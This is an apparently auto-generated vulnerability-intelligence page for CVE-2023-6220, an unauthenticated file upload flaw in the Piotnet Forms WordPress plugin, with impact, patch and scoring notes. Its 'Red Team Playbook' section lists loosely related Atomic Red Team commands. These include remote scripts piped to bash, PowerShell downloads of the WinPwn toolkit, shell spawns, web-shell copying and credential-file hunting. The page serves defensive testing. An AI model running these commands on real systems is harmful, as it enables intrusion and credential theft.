CVE-2023-6220
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types in the 'piotnetforms_ajax_form_builder' function within the Piotnet Forms WordPress plugin. The root cause lies in the failure to properly restrict or sanitize uploaded file extensions or content, allowing malicious files to be accepted. The affected component is the AJAX form builder handler responsible for processing file uploads in versions up to and including 1.0.28.
Vulnerability Description
The Piotnet Forms plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'piotnetforms_ajax_form_builder' function in versions up to, and including, 1.0.28. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated remote attacker can upload arbitrary files to the web server hosting the vulnerable plugin, potentially enabling remote code execution or persistent backdoors. No authentication or user interaction is required (AV:N/AC:H/PR:N/UI:N), although the attack complexity is high due to required knowledge of the AJAX endpoint and payload crafting. This can lead to full system compromise, data exfiltration, or service disruption in WordPress environments using affected versions.
Solution
Users should upgrade Piotnet Forms to version 1.0.29 or later, where the file upload validation flaw in 'piotnetforms_ajax_form_builder' is corrected. Detailed patch information and verification can be found in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/af2b7eac-a3f5-408f-b139-643e70b3f27a). No official workarounds are documented; applying the update is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the Piotnet Forms plugin for WordPress stems from inadequate validation of file types during the file upload process. Specifically, the flaw exists within the 'piotnetforms_ajax_form_builder' function, which fails to properly restrict the types of files that can be uploaded. This oversight allows unauthenticated users to upload arbitrary files to the server, potentially leading to severe consequences such as remote code execution. The lack of stringent checks on file extensions and MIME types means that an attacker can exploit this vulnerability to upload malicious scripts or executables, which can then be executed on the server, compromising the integrity and confidentiality of the affected system.
Attack vectors for this vulnerability are straightforward and can be executed with minimal technical expertise. An attacker could craft a malicious request to the vulnerable endpoint, bypassing any authentication requirements. By uploading a web shell or a PHP script disguised as an innocuous file type, the attacker gains unauthorized access to the server. Once the malicious file is successfully uploaded, the attacker can execute it by navigating to its URL, effectively gaining control over the server environment. This exploitation can lead to further attacks, such as data exfiltration, lateral movement within the network, or the deployment of additional malware.
The real-world impact of this vulnerability can be significant, particularly for organizations relying on the Piotnet Forms plugin for user interactions or data collection. The potential for remote code execution poses a critical business risk, as it can lead to data breaches, loss of sensitive information, and damage to the organization's reputation. Furthermore, the exploitation of this vulnerability could result in financial losses due to remediation efforts, legal liabilities, and potential regulatory fines. The ease of exploitation combined with the high severity of the vulnerability makes it an attractive target for malicious actors, increasing the urgency for organizations to address this issue promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify and remediate such weaknesses before they are exploited. Additionally, organizations should ensure that they are using the latest version of the Piotnet Forms plugin, as updates often include critical security patches. Employing a web application firewall (WAF) can also provide an additional layer of protection by filtering out malicious requests and blocking unauthorized file uploads. Furthermore, implementing strict file upload policies, such as limiting file types and sizes, can significantly reduce the attack surface.
In conclusion, the vulnerability present in the Piotnet Forms plugin highlights the importance of robust file validation mechanisms in web applications. The potential for arbitrary file uploads poses a serious threat to the security of affected systems, making it imperative for organizations to take proactive measures to mitigate risks. By adopting comprehensive detection and mitigation strategies, businesses can safeguard their digital assets and maintain the trust of their users.
The CVSS score for CVE-2023-6220 has been revised downward from 9.8 to 8.1, reflecting a reassessment of the vulnerability’s exploitability and impact parameters. Concurrently, the Exploit Prediction Scoring System (EPSS) value has experienced a modest increase, indicating a slight uptick in the likelihood of exploitation in the near term. CSURFACE threat intelligence notes that while there is no evidence of new exploit techniques or active campaigns targeting this vulnerability, the gradual rise in EPSS suggests that adversaries may be incrementally prioritizing it within their attack frameworks. This nuanced shift underscores the importance of continuous monitoring, as the vulnerability remains a high-severity risk due to its potential to enable arbitrary file uploads and consequent remote code execution. Defenders should interpret the lowered CVSS score as a refinement rather than a reduction in overall threat, as the vulnerability’s core risk profile persists. The updated metrics highlight a dynamic threat landscape where exploitation probability can evolve independently of severity assessments, emphasizing the need for adaptive defensive postures.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Piotnet | Piotnet Forms | All |
cpe:2.3:a:piotnet:piotnet_forms:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-6220 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/af2b7eac-a3f5-408f-b139-643e70b3f27a?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/piotnetforms/tags/1.0.26/inc/forms/ajax-form-builder.php#L430 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/piotnetforms/tags/1.0.29/inc/forms/ajax-form-builder.php#L430 |